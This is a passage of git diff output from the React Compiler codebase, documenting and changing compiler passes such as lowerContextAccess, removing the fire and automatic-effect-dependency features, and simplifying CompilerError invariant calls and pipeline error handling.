### Phase 1: Collect Context Access Patterns
|
||||
```typescript
|
||||
function lowerContextAccess(fn: HIRFunction, config: ExternalFunction): void {
|
||||
const contextAccess: Map<IdentifierId, CallExpression> = new Map();
|
||||
const contextKeys: Map<IdentifierId, Array<string>> = new Map();
|
||||
|
||||
for (const [, block] of fn.body.blocks) {
|
||||
for (const instr of block.instructions) {
|
||||
// Find useContext calls
|
||||
if (isUseContextCall(instr)) {
|
||||
contextAccess.set(instr.lvalue.identifier.id, instr.value);
|
||||
}
|
||||
|
||||
// Find destructuring patterns that access context results
|
||||
if (isDestructure(instr) && contextAccess.has(instr.value.value.id)) {
|
||||
const keys = extractPropertyKeys(instr.value.pattern);
|
||||
contextKeys.set(instr.value.value.id, keys);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Phase 2: Generate Selector Functions
|
||||
For each context access with known keys:
|
||||
```typescript
|
||||
// Original:
|
||||
const {foo, bar} = useContext(MyContext);
|
||||
|
||||
// Selector function generated:
|
||||
(ctx) => [ctx.foo, ctx.bar]
|
||||
```
|
||||
|
||||
### Phase 3: Transform Context Calls
|
||||
```typescript
|
||||
// Before:
|
||||
$0 = useContext(MyContext)
|
||||
{foo, bar} = $0
|
||||
|
||||
// After:
|
||||
$0 = useContext_withSelector(MyContext, (ctx) => [ctx.foo, ctx.bar])
|
||||
[foo, bar] = $0
|
||||
```
|
||||
|
||||
### Phase 4: Update Destructuring
|
||||
Change object destructuring to array destructuring to match selector return:
|
||||
```typescript
|
||||
// Before: { foo: foo$15, bar: bar$16 } = $14
|
||||
// After: [ foo$15, bar$16 ] = $14
|
||||
```
|
||||
|
||||
## Edge Cases
|
||||
|
||||
### Dynamic Property Access
|
||||
If context properties are accessed dynamically (not through destructuring), the optimization is skipped:
|
||||
```javascript
|
||||
const ctx = useContext(MyContext);
|
||||
const x = ctx[dynamicKey]; // Cannot optimize
|
||||
```
|
||||
|
||||
### Spread in Destructuring
|
||||
Spread patterns prevent optimization:
|
||||
```javascript
|
||||
const {foo, ...rest} = useContext(MyContext); // Cannot optimize
|
||||
```
|
||||
|
||||
### Non-Identifier Values
|
||||
Only simple identifier destructuring is supported:
|
||||
```javascript
|
||||
const {foo: bar} = useContext(MyContext); // Supported (rename)
|
||||
const {foo = defaultVal} = useContext(MyContext); // Not supported
|
||||
```
|
||||
|
||||
### Multiple Context Accesses
|
||||
Each `useContext` call is transformed independently:
|
||||
```javascript
|
||||
const {a} = useContext(CtxA); // Transformed
|
||||
const {b} = useContext(CtxB); // Transformed separately
|
||||
```
|
||||
|
||||
### Hook Guards
|
||||
When `enableEmitHookGuards` is enabled, the selector function includes proper hook guard annotations.
|
||||
|
||||
## TODOs
|
||||
None in the source file.
|
||||
|
||||
## Example
|
||||
|
||||
### Fixture: `lower-context-selector-simple.js`
|
||||
|
||||
**Input:**
|
||||
```javascript
|
||||
// @lowerContextAccess
|
||||
function App() {
|
||||
const {foo, bar} = useContext(MyContext);
|
||||
return <Bar foo={foo} bar={bar} />;
|
||||
}
|
||||
```
|
||||
|
||||
**After OptimizePropsMethodCalls (where lowering happens):**
|
||||
```
|
||||
bb0 (block):
|
||||
[1] $12 = LoadGlobal(global) useContext // Original (now unused)
|
||||
[2] $13 = LoadGlobal(global) MyContext
|
||||
[3] $22 = LoadGlobal import { useContext_withSelector } from 'react-compiler-runtime'
|
||||
[4] $36 = Function @context[]
|
||||
<<anonymous>>(#t23$30):
|
||||
[1] $31 = LoadLocal #t23$30
|
||||
[2] $32 = PropertyLoad $31.foo
|
||||
[3] $33 = LoadLocal #t23$30
|
||||
[4] $34 = PropertyLoad $33.bar
|
||||
[5] $35 = Array [$32, $34] // Return [foo, bar]
|
||||
[6] Return $35
|
||||
[5] $14 = Call $22($13, $36) // useContext_withSelector(MyContext, selector)
|
||||
[6] $17 = Destructure Const { foo: foo$15, bar: bar$16 } = $14
|
||||
...
|
||||
```
|
||||
|
||||
**Generated Code:**
|
||||
```javascript
|
||||
import { c as _c } from "react/compiler-runtime";
|
||||
import { useContext_withSelector } from "react-compiler-runtime";
|
||||
function App() {
|
||||
const $ = _c(2);
|
||||
let t0;
|
||||
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
|
||||
t0 = (ctx) => [ctx.foo, ctx.bar];
|
||||
$[0] = t0;
|
||||
} else {
|
||||
t0 = $[0];
|
||||
}
|
||||
const { foo, bar } = useContext_withSelector(MyContext, t0);
|
||||
let t1;
|
||||
if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
|
||||
t1 = <Bar foo={foo} bar={bar} />;
|
||||
$[1] = t1;
|
||||
} else {
|
||||
t1 = $[1];
|
||||
}
|
||||
return t1;
|
||||
}
|
||||
```
|
||||
|
||||
Key observations:
|
||||
- `useContext` is replaced with `useContext_withSelector`
|
||||
- A selector function `(ctx) => [ctx.foo, ctx.bar]` is generated
|
||||
- The selector function is memoized (first cache slot)
|
||||
- Only `foo` and `bar` properties are extracted, enabling granular subscriptions
|
||||
- The selector return type changes from object to array
|
||||
@@ -49,13 +49,8 @@ const ALLOW_LIST = new Set([
|
||||
...(envConfig.validateNoCapitalizedCalls ?? []), // User-configured allowlist
|
||||
]);
|
||||
|
||||
const hookPattern = envConfig.hookPattern != null
|
||||
? new RegExp(envConfig.hookPattern)
|
||||
: null;
|
||||
|
||||
const isAllowed = (name: string): boolean => {
|
||||
return ALLOW_LIST.has(name) ||
|
||||
(hookPattern != null && hookPattern.test(name));
|
||||
return ALLOW_LIST.has(name);
|
||||
};
|
||||
```
|
||||
|
||||
@@ -137,13 +132,6 @@ Users can allowlist specific functions via configuration:
|
||||
validateNoCapitalizedCalls: ['MyUtility', 'SomeFactory']
|
||||
```
|
||||
|
||||
### Hook Patterns
|
||||
Functions matching the configured hook pattern are allowed even if capitalized:
|
||||
```typescript
|
||||
// With hookPattern: 'React\\$use.*'
|
||||
const x = React$useState(); // Allowed if it matches the hook pattern
|
||||
```
|
||||
|
||||
### Method Calls vs Function Calls
|
||||
Both direct function calls and method calls on objects are checked:
|
||||
```javascript
|
||||
|
||||
@@ -1,93 +0,0 @@
|
||||
# validateMemoizedEffectDependencies
|
||||
|
||||
## File
|
||||
`src/Validation/ValidateMemoizedEffectDependencies.ts`
|
||||
|
||||
## Purpose
|
||||
Validates that all known effect dependencies (for `useEffect`, `useLayoutEffect`, and `useInsertionEffect`) are properly memoized. This prevents a common bug where unmemoized effect dependencies can cause infinite re-render loops or other unexpected behavior.
|
||||
|
||||
## Input Invariants
|
||||
- Operates on ReactiveFunction (post-reactive scope inference)
|
||||
- Reactive scopes have been assigned to values that need memoization
|
||||
- Must run after scope inference but before codegen
|
||||
|
||||
## Validation Rules
|
||||
This pass checks two conditions:
|
||||
|
||||
1. **Unmemoized dependencies with assigned scopes**: Disallows effect dependencies that should be memoized (have a reactive scope assigned) but where that reactive scope does not exist in the output. This catches cases where a reactive scope was pruned, such as when it spans a hook call.
|
||||
|
||||
2. **Mutable dependencies at effect call site**: Disallows effect dependencies whose mutable range encompasses the effect call. This catches values that the compiler knows may be mutated after the effect is set up.
|
||||
|
||||
When either condition is violated, the pass produces:
|
||||
```
|
||||
Compilation Skipped: React Compiler has skipped optimizing this component because
|
||||
the effect dependencies could not be memoized. Unmemoized effect dependencies can
|
||||
trigger an infinite loop or other unexpected behavior
|
||||
```
|
||||
|
||||
## Algorithm
|
||||
1. Traverse the reactive function using a visitor pattern
|
||||
2. Track all scopes that exist in the AST by adding them to a `Set<ScopeId>` during `visitScope`
|
||||
3. Only record a scope if its dependencies are also memoized (transitive memoization check)
|
||||
4. When visiting an instruction that is an effect hook call (`useEffect`, `useLayoutEffect`, `useInsertionEffect`) with at least 2 arguments (function + deps array):
|
||||
- Check if the dependency array is mutable at the call site using `isMutable()`
|
||||
- Check if the dependency array's scope exists using `isUnmemoized()`
|
||||
- If either check fails, push an error
|
||||
|
||||
### Key Helper Functions
|
||||
|
||||
**isEffectHook(identifier)**: Returns true if the identifier is `useEffect`, `useLayoutEffect`, or `useInsertionEffect`.
|
||||
|
||||
**isUnmemoized(operand, scopes)**: Returns true if the operand has a scope assigned (`operand.scope != null`) but that scope doesn't exist in the set of valid scopes.
|
||||
|
||||
## Edge Cases
|
||||
- Only validates effects with 2+ arguments (ignores effects without dependency arrays)
|
||||
- Transitive memoization: A scope is only considered valid if all its dependencies are also memoized
|
||||
- Merged scopes are tracked together with their primary scope
|
||||
|
||||
## TODOs
|
||||
From the source code:
|
||||
```typescript
|
||||
// TODO: isMutable is not safe to call here as it relies on identifier mutableRange
|
||||
// which is no longer valid at this point in the pipeline
|
||||
```
|
||||
|
||||
## Example
|
||||
|
||||
### Fixture: `error.invalid-useEffect-dep-not-memoized.js`
|
||||
|
||||
**Input:**
|
||||
```javascript
|
||||
// @validateMemoizedEffectDependencies
|
||||
import {useEffect} from 'react';
|
||||
|
||||
function Component(props) {
|
||||
const data = {};
|
||||
useEffect(() => {
|
||||
console.log(props.value);
|
||||
}, [data]);
|
||||
mutate(data);
|
||||
return data;
|
||||
}
|
||||
```
|
||||
|
||||
**Error:**
|
||||
```
|
||||
Found 1 error:
|
||||
|
||||
Compilation Skipped: React Compiler has skipped optimizing this component because
|
||||
the effect dependencies could not be memoized. Unmemoized effect dependencies can
|
||||
trigger an infinite loop or other unexpected behavior
|
||||
|
||||
error.invalid-useEffect-dep-not-memoized.ts:6:2
|
||||
4 | function Component(props) {
|
||||
5 | const data = {};
|
||||
> 6 | useEffect(() => {
|
||||
| ^^^^^^^^^^^^^^^^^
|
||||
> 7 | console.log(props.value);
|
||||
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
||||
> 8 | }, [data]);
|
||||
| ^^^^^^^^^^^^^
|
||||
```
|
||||
|
||||
**Why it fails:** The `data` object is mutated after the `useEffect` call, which extends its mutable range past the effect. This means `data` cannot be safely memoized as an effect dependency because it might change after the effect is set up.
|
||||
@@ -25,7 +25,7 @@ This directory contains detailed documentation for each pass in the React Compil
|
||||
┌─────────────────────────────────────────────────────────────────────────────────────┐
|
||||
│ PHASE 2: OPTIMIZATION │
|
||||
│ │
|
||||
│ constantPropagation ──▶ deadCodeElimination ──▶ instructionReordering │
|
||||
│ constantPropagation ──▶ deadCodeElimination │
|
||||
│ │
|
||||
└─────────────────────────────────────────────────────────────────────────────────────┘
|
||||
│
|
||||
@@ -195,8 +195,6 @@ This directory contains detailed documentation for each pass in the React Compil
|
||||
|
||||
| # | Pass | File | Description |
|
||||
|---|------|------|-------------|
|
||||
| 32 | [transformFire](32-transformFire.md) | `Transform/TransformFire.ts` | Transform `fire()` calls in effects |
|
||||
| 33 | [lowerContextAccess](33-lowerContextAccess.md) | `Optimization/LowerContextAccess.ts` | Optimize context access with selectors |
|
||||
| 34 | [optimizePropsMethodCalls](34-optimizePropsMethodCalls.md) | `Optimization/OptimizePropsMethodCalls.ts` | Normalize props method calls |
|
||||
| 35 | [optimizeForSSR](35-optimizeForSSR.md) | `Optimization/OptimizeForSSR.ts` | SSR-specific optimizations |
|
||||
| 36 | [outlineJSX](36-outlineJSX.md) | `Optimization/OutlineJsx.ts` | Outline JSX to components |
|
||||
@@ -220,7 +218,6 @@ This directory contains detailed documentation for each pass in the React Compil
|
||||
| 49 | [validateNoRefAccessInRender](49-validateNoRefAccessInRender.md) | `Validation/ValidateNoRefAccessInRender.ts` | Ref access constraints |
|
||||
| 50 | [validateNoFreezingKnownMutableFunctions](50-validateNoFreezingKnownMutableFunctions.md) | `Validation/ValidateNoFreezingKnownMutableFunctions.ts` | Mutable function isolation |
|
||||
| 51 | [validateExhaustiveDependencies](51-validateExhaustiveDependencies.md) | `Validation/ValidateExhaustiveDependencies.ts` | Dependency array completeness |
|
||||
| 52 | [validateMemoizedEffectDependencies](52-validateMemoizedEffectDependencies.md) | `Validation/ValidateMemoizedEffectDependencies.ts` | Effect scope memoization |
|
||||
| 53 | [validatePreservedManualMemoization](53-validatePreservedManualMemoization.md) | `Validation/ValidatePreservedManualMemoization.ts` | Manual memo preservation |
|
||||
| 54 | [validateStaticComponents](54-validateStaticComponents.md) | `Validation/ValidateStaticComponents.ts` | Component identity stability |
|
||||
| 55 | [validateSourceLocations](55-validateSourceLocations.md) | `Validation/ValidateSourceLocations.ts` | Source location preservation |
|
||||
@@ -275,8 +272,6 @@ Many passes are controlled by feature flags in `Environment.ts`:
|
||||
|
||||
| Flag | Enables Pass |
|
||||
|------|--------------|
|
||||
| `enableFire` | transformFire |
|
||||
| `lowerContextAccess` | lowerContextAccess |
|
||||
| `enableJsxOutlining` | outlineJSX |
|
||||
| `enableFunctionOutlining` | outlineFunctions |
|
||||
| `validateNoSetStateInRender` | validateNoSetStateInRender |
|
||||
@@ -294,10 +289,28 @@ yarn snap -p <fixture-name>
|
||||
# Run with debug output (shows all passes)
|
||||
yarn snap -p <fixture-name> -d
|
||||
|
||||
# Compile any file (not just fixtures) and see output
|
||||
yarn snap compile <path>
|
||||
|
||||
# Compile any file with debug output (alternative to yarn snap -d -p when you don't have a fixture)
|
||||
yarn snap compile --debug <path>
|
||||
|
||||
# Minimize a failing test case to its minimal reproduction
|
||||
yarn snap minimize <path>
|
||||
|
||||
# Update expected outputs
|
||||
yarn snap -u
|
||||
```
|
||||
|
||||
## Fault Tolerance
|
||||
|
||||
The pipeline is fault-tolerant: all passes run to completion, accumulating errors on `Environment` rather than aborting on the first error.
|
||||
|
||||
- **Validation passes** are wrapped in `env.tryRecord()` in Pipeline.ts, which catches non-invariant `CompilerError`s and records them. If a validation pass throws, compilation continues.
|
||||
- **Infrastructure/transformation passes** (enterSSA, eliminateRedundantPhi, inferMutationAliasingEffects, codegen, etc.) are NOT wrapped in `tryRecord()` because subsequent passes depend on their output being structurally valid. If they fail, compilation aborts.
|
||||
- **`lower()` (BuildHIR)** always produces an `HIRFunction`, recording errors on `env` instead of returning `Err`. Unsupported constructs (e.g., `var`) are lowered best-effort.
|
||||
- At the end of the pipeline, `env.hasErrors()` determines whether to return `Ok(codegen)` or `Err(aggregatedErrors)`.
|
||||
|
||||
## Further Reading
|
||||
|
||||
- [MUTABILITY_ALIASING_MODEL.md](../../src/Inference/MUTABILITY_ALIASING_MODEL.md): Detailed aliasing model docs
|
||||
|
||||
@@ -11,7 +11,6 @@ import {
|
||||
injectReanimatedFlag,
|
||||
pipelineUsesReanimatedPlugin,
|
||||
} from '../Entrypoint/Reanimated';
|
||||
import validateNoUntransformedReferences from '../Entrypoint/ValidateNoUntransformedReferences';
|
||||
import {CompilerError} from '..';
|
||||
|
||||
const ENABLE_REACT_COMPILER_TIMINGS =
|
||||
@@ -64,19 +63,12 @@ export default function BabelPluginReactCompiler(
|
||||
},
|
||||
};
|
||||
}
|
||||
const result = compileProgram(prog, {
|
||||
compileProgram(prog, {
|
||||
opts,
|
||||
filename: pass.filename ?? null,
|
||||
comments: pass.file.ast.comments ?? [],
|
||||
code: pass.file.code,
|
||||
});
|
||||
validateNoUntransformedReferences(
|
||||
prog,
|
||||
pass.filename ?? null,
|
||||
opts.logger,
|
||||
opts.environment,
|
||||
result,
|
||||
);
|
||||
if (ENABLE_REACT_COMPILER_TIMINGS === true) {
|
||||
performance.mark(`${filename}:end`, {
|
||||
detail: 'BabelPlugin:Program:end',
|
||||
|
||||
@@ -304,11 +304,12 @@ export class CompilerError extends Error {
|
||||
disabledDetails: Array<CompilerErrorDetail | CompilerDiagnostic> = [];
|
||||
printedMessage: string | null = null;
|
||||
|
||||
static simpleInvariant(
|
||||
static invariant(
|
||||
condition: unknown,
|
||||
options: {
|
||||
reason: CompilerDiagnosticOptions['reason'];
|
||||
description?: CompilerDiagnosticOptions['description'];
|
||||
message?: string | null;
|
||||
loc: SourceLocation;
|
||||
},
|
||||
): asserts condition {
|
||||
@@ -322,28 +323,12 @@ export class CompilerError extends Error {
|
||||
}).withDetails({
|
||||
kind: 'error',
|
||||
loc: options.loc,
|
||||
message: options.reason,
|
||||
message: options.message ?? options.reason,
|
||||
}),
|
||||
);
|
||||
throw errors;
|
||||
}
|
||||
}
|
||||
static invariant(
|
||||
condition: unknown,
|
||||
options: Omit<CompilerDiagnosticOptions, 'category'>,
|
||||
): asserts condition {
|
||||
if (!condition) {
|
||||
const errors = new CompilerError();
|
||||
errors.pushDiagnostic(
|
||||
CompilerDiagnostic.create({
|
||||
reason: options.reason,
|
||||
description: options.description,
|
||||
category: ErrorCategory.Invariant,
|
||||
}).withDetails(...options.details),
|
||||
);
|
||||
throw errors;
|
||||
}
|
||||
}
|
||||
|
||||
static throwDiagnostic(options: CompilerDiagnosticOptions): never {
|
||||
const errors = new CompilerError();
|
||||
@@ -580,15 +565,12 @@ function printCodeFrame(
|
||||
function printErrorSummary(category: ErrorCategory, message: string): string {
|
||||
let heading: string;
|
||||
switch (category) {
|
||||
case ErrorCategory.AutomaticEffectDependencies:
|
||||
case ErrorCategory.CapitalizedCalls:
|
||||
case ErrorCategory.Config:
|
||||
case ErrorCategory.EffectDerivationsOfState:
|
||||
case ErrorCategory.EffectSetState:
|
||||
case ErrorCategory.ErrorBoundaries:
|
||||
case ErrorCategory.Factories:
|
||||
case ErrorCategory.FBT:
|
||||
case ErrorCategory.Fire:
|
||||
case ErrorCategory.Gating:
|
||||
case ErrorCategory.Globals:
|
||||
case ErrorCategory.Hooks:
|
||||
@@ -652,10 +634,6 @@ export enum ErrorCategory {
|
||||
* Checking that useMemos always return a value
|
||||
*/
|
||||
VoidUseMemo = 'VoidUseMemo',
|
||||
/**
|
||||
* Checking for higher order functions acting as factories for components/hooks
|
||||
*/
|
||||
Factories = 'Factories',
|
||||
/**
|
||||
* Checks that manual memoization is preserved
|
||||
*/
|
||||
@@ -733,14 +711,6 @@ export enum ErrorCategory {
|
||||
* Suppressions
|
||||
*/
|
||||
Suppression = 'Suppression',
|
||||
/**
|
||||
* Issues with auto deps
|
||||
*/
|
||||
AutomaticEffectDependencies = 'AutomaticEffectDependencies',
|
||||
/**
|
||||
* Issues with `fire`
|
||||
*/
|
||||
Fire = 'Fire',
|
||||
/**
|
||||
* fbt-specific issues
|
||||
*/
|
||||
@@ -805,16 +775,6 @@ export function getRuleForCategory(category: ErrorCategory): LintRule {
|
||||
|
||||
function getRuleForCategoryImpl(category: ErrorCategory): LintRule {
|
||||
switch (category) {
|
||||
case ErrorCategory.AutomaticEffectDependencies: {
|
||||
return {
|
||||
category,
|
||||
severity: ErrorSeverity.Error,
|
||||
name: 'automatic-effect-dependencies',
|
||||
description:
|
||||
'Verifies that automatic effect dependencies are compiled if opted-in',
|
||||
preset: LintRulePreset.Off,
|
||||
};
|
||||
}
|
||||
case ErrorCategory.CapitalizedCalls: {
|
||||
return {
|
||||
category,
|
||||
@@ -885,17 +845,6 @@ function getRuleForCategoryImpl(category: ErrorCategory): LintRule {
|
||||
preset: LintRulePreset.Recommended,
|
||||
};
|
||||
}
|
||||
case ErrorCategory.Factories: {
|
||||
return {
|
||||
category,
|
||||
severity: ErrorSeverity.Error,
|
||||
name: 'component-hook-factories',
|
||||
description:
|
||||
'Validates against higher order functions defining nested components or hooks. ' +
|
||||
'Components and hooks should be defined at the module level',
|
||||
preset: LintRulePreset.Recommended,
|
||||
};
|
||||
}
|
||||
case ErrorCategory.FBT: {
|
||||
return {
|
||||
category,
|
||||
@@ -905,15 +854,6 @@ function getRuleForCategoryImpl(category: ErrorCategory): LintRule {
|
||||
preset: LintRulePreset.Off,
|
||||
};
|
||||
}
|
||||
case ErrorCategory.Fire: {
|
||||
return {
|
||||
category,
|
||||
severity: ErrorSeverity.Error,
|
||||
name: 'fire',
|
||||
description: 'Validates usage of `fire`',
|
||||
preset: LintRulePreset.Off,
|
||||
};
|
||||
}
|
||||
case ErrorCategory.Gating: {
|
||||
return {
|
||||
category,
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
import {NodePath} from '@babel/core';
|
||||
import * as t from '@babel/types';
|
||||
import {CompilerError} from '../CompilerError';
|
||||
import {GeneratedSource} from '../HIR';
|
||||
import {ProgramContext} from './Imports';
|
||||
import {ExternalFunction} from '..';
|
||||
|
||||
@@ -51,26 +52,12 @@ function insertAdditionalFunctionDeclaration(
|
||||
CompilerError.invariant(originalFnName != null && compiled.id != null, {
|
||||
reason:
|
||||
'Expected function declarations that are referenced elsewhere to have a named identifier',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: fnPath.node.loc ?? null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: fnPath.node.loc ?? GeneratedSource,
|
||||
});
|
||||
CompilerError.invariant(originalFnParams.length === compiledParams.length, {
|
||||
reason:
|
||||
'Expected React Compiler optimized function declarations to have the same number of parameters as source',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: fnPath.node.loc ?? null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: fnPath.node.loc ?? GeneratedSource,
|
||||
});
|
||||
|
||||
const gatingCondition = t.identifier(
|
||||
@@ -154,13 +141,7 @@ export function insertGatedFunctionDeclaration(
|
||||
CompilerError.invariant(compiled.type === 'FunctionDeclaration', {
|
||||
reason: 'Expected compiled node type to match input type',
|
||||
description: `Got ${compiled.type} but expected FunctionDeclaration`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: fnPath.node.loc ?? null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: fnPath.node.loc ?? GeneratedSource,
|
||||
});
|
||||
insertAdditionalFunctionDeclaration(
|
||||
fnPath,
|
||||
|
||||
@@ -19,7 +19,7 @@ import {getOrInsertWith} from '../Utils/utils';
|
||||
import {ExternalFunction, isHookName} from '../HIR/Environment';
|
||||
import {Err, Ok, Result} from '../Utils/Result';
|
||||
import {LoggerEvent, ParsedPluginOptions} from './Options';
|
||||
import {BabelFn, getReactCompilerRuntimeModule} from './Program';
|
||||
import {getReactCompilerRuntimeModule} from './Program';
|
||||
import {SuppressionRange} from './Suppression';
|
||||
|
||||
export function validateRestrictedImports(
|
||||
@@ -84,12 +84,6 @@ export class ProgramContext {
|
||||
// generated imports
|
||||
imports: Map<string, Map<string, NonLocalImportSpecifier>> = new Map();
|
||||
|
||||
/**
|
||||
* Metadata from compilation
|
||||
*/
|
||||
retryErrors: Array<{fn: BabelFn; error: CompilerError}> = [];
|
||||
inferredEffectLocations: Set<t.SourceLocation> = new Set();
|
||||
|
||||
constructor({
|
||||
program,
|
||||
suppressions,
|
||||
@@ -108,14 +102,7 @@ export class ProgramContext {
|
||||
}
|
||||
|
||||
isHookName(name: string): boolean {
|
||||
if (this.opts.environment.hookPattern == null) {
|
||||
return isHookName(name);
|
||||
} else {
|
||||
const match = new RegExp(this.opts.environment.hookPattern).exec(name);
|
||||
return (
|
||||
match != null && typeof match[1] === 'string' && isHookName(match[1])
|
||||
);
|
||||
}
|
||||
return isHookName(name);
|
||||
}
|
||||
|
||||
hasReference(name: string): boolean {
|
||||
@@ -257,14 +244,7 @@ export function addImportsToProgram(
|
||||
reason:
|
||||
'Encountered conflicting import specifiers in generated program',
|
||||
description: `Conflict from import ${loweredImport.module}:(${loweredImport.imported} as ${loweredImport.name})`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
},
|
||||
);
|
||||
CompilerError.invariant(
|
||||
@@ -274,13 +254,7 @@ export function addImportsToProgram(
|
||||
reason:
|
||||
'Found inconsistent import specifier. This is an internal bug.',
|
||||
description: `Expected import ${moduleName}:${specifierName} but found ${loweredImport.module}:${loweredImport.imported}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
@@ -228,8 +228,6 @@ const CompilerOutputModeSchema = z.enum([
|
||||
'ssr',
|
||||
// Build optimized for the client, with auto memoization
|
||||
'client',
|
||||
// Build optimized for the client without auto memo
|
||||
'client-no-memo',
|
||||
// Lint mode, the output is unused but validations should run
|
||||
'lint',
|
||||
]);
|
||||
@@ -254,10 +252,9 @@ export type LoggerEvent =
|
||||
| CompileErrorEvent
|
||||
| CompileDiagnosticEvent
|
||||
| CompileSkipEvent
|
||||
| CompileUnexpectedThrowEvent
|
||||
| PipelineErrorEvent
|
||||
| TimingEvent
|
||||
| AutoDepsDecorationsEvent
|
||||
| AutoDepsEligibleEvent;
|
||||
| TimingEvent;
|
||||
|
||||
export type CompileErrorEvent = {
|
||||
kind: 'CompileError';
|
||||
@@ -290,21 +287,15 @@ export type PipelineErrorEvent = {
|
||||
fnLoc: t.SourceLocation | null;
|
||||
data: string;
|
||||
};
|
||||
export type CompileUnexpectedThrowEvent = {
|
||||
kind: 'CompileUnexpectedThrow';
|
||||
fnLoc: t.SourceLocation | null;
|
||||
data: string;
|
||||
};
|
||||
export type TimingEvent = {
|
||||
kind: 'Timing';
|
||||
measurement: PerformanceMeasure;
|
||||
};
|
||||
export type AutoDepsDecorationsEvent = {
|
||||
kind: 'AutoDepsDecorations';
|
||||
fnLoc: t.SourceLocation;
|
||||
decorations: Array<t.SourceLocation>;
|
||||
};
|
||||
export type AutoDepsEligibleEvent = {
|
||||
kind: 'AutoDepsEligible';
|
||||
fnLoc: t.SourceLocation;
|
||||
depArrayLoc: t.SourceLocation;
|
||||
};
|
||||
|
||||
export type Logger = {
|
||||
logEvent: (filename: string | null, event: LoggerEvent) => void;
|
||||
debugLogIRs?: (value: CompilerPipelineValue) => void;
|
||||
|
||||
@@ -9,6 +9,8 @@ import {NodePath} from '@babel/traverse';
|
||||
import * as t from '@babel/types';
|
||||
import prettyFormat from 'pretty-format';
|
||||
import {CompilerOutputMode, Logger, ProgramContext} from '.';
|
||||
import {CompilerError} from '../CompilerError';
|
||||
import {Err, Ok, Result} from '../Utils/Result';
|
||||
import {
|
||||
HIRFunction,
|
||||
ReactiveFunction,
|
||||
@@ -34,15 +36,12 @@ import {
|
||||
dropManualMemoization,
|
||||
inferReactivePlaces,
|
||||
inlineImmediatelyInvokedFunctionExpressions,
|
||||
inferEffectDependencies,
|
||||
} from '../Inference';
|
||||
import {
|
||||
constantPropagation,
|
||||
deadCodeElimination,
|
||||
pruneMaybeThrows,
|
||||
inlineJsxTransform,
|
||||
} from '../Optimization';
|
||||
import {instructionReordering} from '../Optimization/InstructionReordering';
|
||||
import {
|
||||
CodegenFunction,
|
||||
alignObjectMethodScopes,
|
||||
@@ -69,7 +68,6 @@ import {alignReactiveScopesToBlockScopesHIR} from '../ReactiveScopes/AlignReacti
|
||||
import {flattenReactiveLoopsHIR} from '../ReactiveScopes/FlattenReactiveLoopsHIR';
|
||||
import {flattenScopesWithHooksOrUseHIR} from '../ReactiveScopes/FlattenScopesWithHooksOrUseHIR';
|
||||
import {pruneAlwaysInvalidatingScopes} from '../ReactiveScopes/PruneAlwaysInvalidatingScopes';
|
||||
import pruneInitializationDependencies from '../ReactiveScopes/PruneInitializationDependencies';
|
||||
import {stabilizeBlockIds} from '../ReactiveScopes/StabilizeBlockIds';
|
||||
import {
|
||||
eliminateRedundantPhi,
|
||||
@@ -80,7 +78,6 @@ import {inferTypes} from '../TypeInference';
|
||||
import {
|
||||
validateContextVariableLValues,
|
||||
validateHooksUsage,
|
||||
validateMemoizedEffectDependencies,
|
||||
validateNoCapitalizedCalls,
|
||||
validateNoRefAccessInRender,
|
||||
validateNoSetStateInRender,
|
||||
@@ -89,14 +86,11 @@ import {
|
||||
} from '../Validation';
|
||||
import {validateLocalsNotReassignedAfterRender} from '../Validation/ValidateLocalsNotReassignedAfterRender';
|
||||
import {outlineFunctions} from '../Optimization/OutlineFunctions';
|
||||
import {lowerContextAccess} from '../Optimization/LowerContextAccess';
|
||||
import {validateNoSetStateInEffects} from '../Validation/ValidateNoSetStateInEffects';
|
||||
import {validateNoJSXInTryStatement} from '../Validation/ValidateNoJSXInTryStatement';
|
||||
import {propagateScopeDependenciesHIR} from '../HIR/PropagateScopeDependenciesHIR';
|
||||
import {outlineJSX} from '../Optimization/OutlineJsx';
|
||||
import {optimizePropsMethodCalls} from '../Optimization/OptimizePropsMethodCalls';
|
||||
import {transformFire} from '../Transform';
|
||||
import {validateNoImpureFunctionsInRender} from '../Validation/ValidateNoImpureFunctionsInRender';
|
||||
import {validateStaticComponents} from '../Validation/ValidateStaticComponents';
|
||||
import {validateNoFreezingKnownMutableFunctions} from '../Validation/ValidateNoFreezingKnownMutableFunctions';
|
||||
import {inferMutationAliasingEffects} from '../Inference/InferMutationAliasingEffects';
|
||||
@@ -125,7 +119,7 @@ function run(
|
||||
logger: Logger | null,
|
||||
filename: string | null,
|
||||
code: string | null,
|
||||
): CodegenFunction {
|
||||
): Result<CodegenFunction, CompilerError> {
|
||||
const contextIdentifiers = findContextIdentifiers(func);
|
||||
const env = new Environment(
|
||||
func.scope,
|
||||
@@ -156,26 +150,21 @@ function runWithEnvironment(
|
||||
t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
|
||||
>,
|
||||
env: Environment,
|
||||
): CodegenFunction {
|
||||
): Result<CodegenFunction, CompilerError> {
|
||||
const log = (value: CompilerPipelineValue): void => {
|
||||
env.logger?.debugLogIRs?.(value);
|
||||
};
|
||||
const hir = lower(func, env).unwrap();
|
||||
const hir = lower(func, env);
|
||||
log({kind: 'hir', name: 'HIR', value: hir});
|
||||
|
||||
pruneMaybeThrows(hir);
|
||||
log({kind: 'hir', name: 'PruneMaybeThrows', value: hir});
|
||||
|
||||
validateContextVariableLValues(hir);
|
||||
